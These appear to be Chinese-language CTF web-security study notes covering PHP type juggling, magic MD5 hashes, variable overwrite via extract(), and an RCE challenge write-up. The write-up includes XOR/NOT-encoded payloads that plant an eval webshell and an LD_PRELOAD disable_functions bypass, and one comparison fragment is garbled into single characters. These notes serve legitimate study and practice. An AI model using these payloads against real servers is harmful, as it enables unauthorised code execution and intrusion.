html
元素、标签、结构
<!DOCTYPE HTML> <!-- HTML5标准网页声明 -->
<HTML> <!-- HTML为根标签,代表整个网页 -->
<head> <!-- head为头部标签,一般用来描述文档的各种属性和信息, 包括标题等-->
<meta charset="UTF-8"> <!-- 设置字符集为utf-8 -->
<title>my HTML</title> <!-- 设置浏览器的标题 -->
</head>
<!-- 网页所有的内容都写在body标签内 -->
<body>
我的第一个HTML网页
</body>
</HTML>
php
基础语法
<?php
...
?>
弱类型
PHP属于弱类型语言,即定义变量的时候不用声明它是什么类型。
是PHP语言的一个特性,但是在安全领域,特性即漏洞,这些特性在代码里面经常就是漏洞最容易出现的地方。
PHP比较操作符
php中有两种比较的符号:
松散比较==(等于)
先把字符串类型转化成相同,再进行比较
比如说字符到数字,非bool类型到bool类型。一个字符串和数字比较时,会把字符串转化成数字再比较。PHP转换规则是:若字符串以数字开头,则以开头字母为转换结果,若无则输出0。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1); //false
var_dump("admin1"==0); //true
var_dump("0e123456"=="0e4456789"); //true
?>
“admin”==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等
“1admin”==1 比较的时候会将1admin转化成数值,结果为1,
而"admin1"被转化成了0,“0e123456”=="0e456789"相互比较的时候,
会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等。
例:
xctf - simple_php
if(
a
!
=
a!=
a!=b && md5(
a
)
=
=
m
d
5
(
a)==md5(
a)==md5(b))
百度查询一下,0e开头的MD5的对比值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
===比较时,会先判断两种字符串类型是否相同,再比较。
===强比较绕过
一般是
if (md5($id) === md5($gg) && $id !== $gg)
直接 ?id[]=a&gg[]=b
md5($id)===md5($dd)===null
变量覆盖
变量覆盖指的是可以用我们的传参值替换程序原有的变量值。
变量覆盖可以让我们修改某些关键变量的值,可能造成越权访问、写入webshell等危害。
变量覆盖的场景
可能造成遍历覆盖的方法:
extract()
parse_str()
$$
mb_parse_str
import_request_variables()
register_globals
array_merge
extract()函数
extract()函数用来将变量从数组中导入到当前的符号表中。
例如
<?php
$a="testname";
$my_array=array("a"=>"C","b"=>"l", "c"=>"F");
extract($my_array);
echo"\$a = $a; \$b = $b; \$c = $c";
?>
输出:
$a=C; $b=T; $c=F
案例
<?php
$public=false;
extract($_GET); //将数组键名转换为变量名
if($public==true)
{
echo"bypass!!!<br>";
}
else
{
echo"try again<br/>";
exit(0);
}
/**
* payload: ?public=true
*/
?>
信息泄露
dirsearch
GITHACK - .git
nmap
robots.txt
sql注入
字符型、数字型、报错型、union、盲注(时间,布尔)、脚本、sqlmap
sqli-labs
文件上传
绕过
工具:
AntSword、Godzilla、Behinder
文件包含
dns重绑
ctfhub - dns重绑bypass
wp
代码执行、命令执行
命令执行
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以住人恶意系统命令到正常的命令中,造成命令执行攻击。
直接调用操作系统命令
命令执行漏洞原理:
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
代码执行漏洞
代码执行漏洞成因:
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。大部分都是根据源代码判断代码执行漏洞。
代码执行漏洞:
靠执行脚本代码调用操作系统命令
代码执行漏洞原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
代码执行相关函数:
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
disable_function绕过
disable_function
例:
[极客大挑战 2019]RCE ME
用system等函数来实现命令执行。
但是得要先绕过preg_match()中正则表达式的限制,数组绕过preg_match(),很显然是不行的。
现在的问题是要绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo
也可以用取反urlencode编码绕过:
echo urlencode(~'phpinfo');
%8F%97%8F%96%91%99%90
payload: ?code=(~%8F%97%8F%96%91%99%90)();
可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下:
先构造一个shell连上蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6); //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
上蚁剑,发现一个flag文件(空的),一个readflag文件
需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell。
所以这里需要绕过这个disable_functions,并执行命令。
方法一:想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
运行得到终端,运行/readflag获得Flag:
方法二:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403
在/var/tmp/目录存在上传权限,上传我们的exp:
上传这两个文件:
然后需要重新再构造一下payload,我这就直接用网上的异或payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
即为
?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
// assert(eval($_POST['a']))
包含我们的exp执行命令
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
执行得到flag:
Flask SSTI
https://blog.youkuaiyun.com/aetlypdlg_ys/article/details/130206273
awd
https://www.cnblogs.com/sstfy/p/11853919.html
MISC
流量分析题总体题型:
一,ping 报文信息 (icmp协议)
二,上传/下载文件(蓝牙obex,http,难:文件的分段上传/下载)
三,sql注入攻击
四,访问特定的加密解密网站(md5,base64)
五,后台扫描+弱密码爆破+菜刀
六,usb流量分析
七,WiFi无线密码破解
八,根据一组流量包了解黑客的具体行为
密码
http://www.taodudu.cc/news/show-6523534.html?action=onClick